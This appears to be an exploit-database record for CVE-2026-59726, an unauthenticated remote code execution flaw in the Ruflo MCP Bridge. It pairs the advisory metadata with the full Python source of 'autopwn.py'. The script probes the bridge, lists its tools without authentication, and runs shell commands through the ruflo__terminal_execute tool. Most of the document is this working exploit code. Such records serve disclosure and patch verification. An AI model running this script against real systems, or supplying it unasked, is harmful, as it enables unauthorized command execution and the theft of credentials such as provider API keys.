{"exploit":{"id":"EDB-52705","name":"Ruflo MCP Bridge 3.16.2 - Remote Code Execution (RCE)","description":"Ruflo MCP Bridge 3.16.2 - Remote Code Execution (RCE)","cves":["CVE-2026-59726"],"author":"Liliane Zukerman","published":"2026-11-11","platform":"python","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52705","path":"exploits/python/remote/52705.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52705.py","vulnerabilities":[{"id":"CVE-2026-59726","state":"PUBLISHED","title":"Ruflo: Unauthenticated RCE in MCP bridge default docker-compose deployment","titleSource":"CVE Program","description":"Ruflo is an agent meta-harness for Claude Code and Codex. Prior to 3.16.3, ruflo's default docker-compose deployment exposed the MCP bridge POST /mcp and POST /mcp/:group endpoints without authentication, allowing an unauthenticated network attacker to invoke tools/call to terminal_execute, obtain a shell in the bridge container, read provider API keys, and poison AgentDB learning-store patterns. This issue is fixed in version 3.16.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59726","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59726"},"updatedAt":"2026-07-09T18:43:24.749Z","retrievedAt":"2026-11-25T16:13:33.652Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52705.png?v=2","url":"https://exploitbin.com/exploits/EDB-52705","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52705/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52705/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# =============================================================================\n# autopwn.py\n#  (RufRoot): Unauthenticated RCE in the Ruflo MCP Bridge\n# =============================================================================\n# Usage: python3 autopwn.py <target_ip>\n# Example: python3 autopwn.py 192.168.x.x\n# =============================================================================\n\nimport sys\nimport json\nimport socket\nimport subprocess\nimport tempfile\nimport os\nimport time\nimport base64\nimport urllib.request\nimport urllib.error\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nMCP_PORT    = 3001\nLPORT       = 4444\nTIMEOUT     = 10\n\nRED    = \"\\033[0;31m\"\nGREEN  = \"\\033[0;32m\"\nYELLOW = \"\\033[1;33m\"\nBLUE   = \"\\033[0;34m\"\nNC     = \"\\033[0m\"\n\ndef log(msg):  print(f\"{GREEN}[+]{NC} {msg}\")\ndef info(msg): print(f\"{BLUE}[*]{NC} {msg}\")\ndef warn(msg): print(f\"{YELLOW}[!]{NC} {msg}\")\ndef fail(msg): print(f\"{RED}[-]{NC} {msg}\"); sys.exit(1)\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\ndef mcp_call(target, endpoint, method, params=None):\n    \"\"\"Send a JSON-RPC 2.0 request to the MCP bridge.\"\"\"\n    url = f\"http://{target}:{MCP_PORT}{endpoint}\"\n    payload = json.dumps({\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": method,\n        \"params\": params or {}\n    }).encode()\n    req = urllib.request.Request(\n        url,\n        data=payload,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json, text/event-stream\",\n        },\n        method=\"POST\"\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:\n            return json.loads(resp.read().decode())\n    except urllib.error.URLError as e:\n        fail(f\"Request to {url} failed: {e}\")\n\ndef rce(target, command):\n    \"\"\"Execute a command via ruflo__terminal_execute.\"\"\"\n    resp = mcp_call(target, \"/mcp/devtools\", \"tools/call\", {\n        \"name\": \"ruflo__terminal_execute\",\n        \"arguments\": {\"command\": command}\n    })\n    try:\n        # The bridge returns JSON inside a text field inside JSON\n        # Outer: resp[\"result\"][\"content\"][0][\"text\"] -> JSON string\n        # Inner: that JSON string has another \"content\" array\n        outer_text = resp[\"result\"][\"content\"][0][\"text\"]\n        middle = json.loads(outer_text)\n        # middle is {\"content\": [{\"type\": \"text\", \"text\": \"{...}\"}]}\n        inner_text = middle[\"content\"][0][\"text\"]\n        inner = json.loads(inner_text)\n        return inner.get(\"output\", \"\").strip()\n    except Exception:\n        # Fallback: return whatever we got as string\n        return str(resp)\n\ndef get_local_ip():\n    \"\"\"Get the local IP that can reach the target.\"\"\"\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try:\n        s.connect((\"8.8.8.8\", 80))\n        return s.getsockname()[0]\n    finally:\n        s.close()\n\n# ---------------------------------------------------------------------------\n# Banner\n# ---------------------------------------------------------------------------\ndef banner():\n    print(f\"{BLUE}\")\n    print(\"  ==================================================\")\n    print(\"   autopwn - CVE-2026-59726 (RufRoot)\")\n    print(\"   Unauthenticated RCE in the Ruflo MCP Bridge\")\n    print(\"  ==================================================\")\n    print(f\"{NC}\")\n    print()\n\n# ---------------------------------------------------------------------------\n# Steps\n# ---------------------------------------------------------------------------\ndef step1_check_bridge(target):\n    info(\"Step 1/3 - Checking MCP bridge reachability...\")\n    try:\n        resp = urllib.request.urlopen(\n            f\"http://{target}:{MCP_PORT}/health\", timeout=TIMEOUT\n        )\n        data = json.loads(resp.read().decode())\n        assert data.get(\"service\") == \"mcp-bridge\"\n        log(f\"Bridge is up: {data['service']} v{data['version']} \"\n            f\"({data['tools']['total']} tools)\")\n    except Exception as e:\n        fail(f\"Bridge not reachable: {e}\")\n\ndef step2_verify_unauth(target):\n    info(\"Step 2/3 - Verifying unauthenticated tools/list...\")\n    resp = mcp_call(target, \"/mcp/devtools\", \"tools/list\")\n    tools = [t[\"name\"] for t in resp.get(\"result\", {}).get(\"tools\", [])]\n    if \"ruflo__terminal_execute\" not in tools:\n        fail(\"ruflo__terminal_execute not found in tools/list\")\n    log(f\"tools/list returned {len(tools)} tools without authentication\")\n    log(\"ruflo__terminal_execute is present (CWE-306 confirmed)\")\n\ndef step3_rce(target):\n    info(\"Step 3/3 - Confirming RCE via ruflo__terminal_execute...\")\n    output = rce(target, \"id && hostname\")\n    if \"uid=\" not in output:\n        fail(f\"RCE did not return expected output: {output}\")\n    log(f\"RCE confirmed: {output.split(chr(10))[0]}\")\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    banner()\n\n    if len(sys.argv) != 2:\n        print(f\"Usage: python3 autopwn.py <target_ip>\")\n        sys.exit(1)\n\n    target = sys.argv[1]\n    info(f\"Target : {target}:{MCP_PORT}\")\n    info(f\"CVE    : CVE-2026-59726 (Ruflo MCP Bridge, pre-3.16.3)\")\n    print()\n\n    step1_check_bridge(target)\n    step2_verify_unauth(target)\n    step3_rce(target)\n\nif __name__ == \"__main__\":\n    main()","sha256":"3715435251f36a39c2e36588e3e91bca3e1a91c16d1db3f864e3bf5084f5a2a9","bytes":5569,"fetchedAt":"2026-11-25T10:17:06.044Z","encoding":"utf-8 (display only; download retains original bytes)"}